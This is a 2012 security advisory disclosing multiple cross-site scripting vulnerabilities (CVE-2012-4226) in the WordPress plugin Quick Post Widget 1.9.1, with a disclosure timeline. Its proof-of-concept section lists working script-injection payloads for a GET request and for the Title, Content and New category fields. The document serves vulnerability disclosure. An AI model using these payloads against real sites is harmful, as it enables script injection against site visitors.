Advisory: WordPress Plugin 'Quick Post Widget' 1.9.1 Multiple Cross-site scripting vulnerabilities Advisory ID: SSCHADV2012-016 Author: Stefan Schurtz Affected Software: Successfully tested on Quick Post Widget 1.9.1 Vendor URL: http://qpw.famvanakkeren.nl/ Vendor Status: informed CVE-ID: CVE-2012-4226 ========================== Vulnerability Description ========================== The WordPress plugin Quick Post Widget 1.9.1 is prone to multiple XSS vulnerabilities ================== PoC-Exploit ================== // GET http://[target]/wordpress/?";></script><script>alert(/xss/)</script> // POST http://[target]/wordpress/ -> Quickpost 'Title' -> "></script><script>alert(/xss/)</script> http://[target]/wordpress/ -> Quickpost 'Content' -> "></script><script>alert(/xss/)</script> http://[target]/wordpress/ -> Quickpost 'New category' -> "></script><script>alert(/xss/)</script> ========= Solution ========= - ==================== Disclosure Timeline ==================== 02-Jul-2012 - developer informed 09-Jul-2012 - developer feedback 10-Aug-2012 - post on BugTraq ======== Credits ======== Vulnerabilities found and advisory written by Stefan Schurtz. =========== References =========== http://www.darksecurity.de/advisories/2012/SSCHADV2012-016.txt
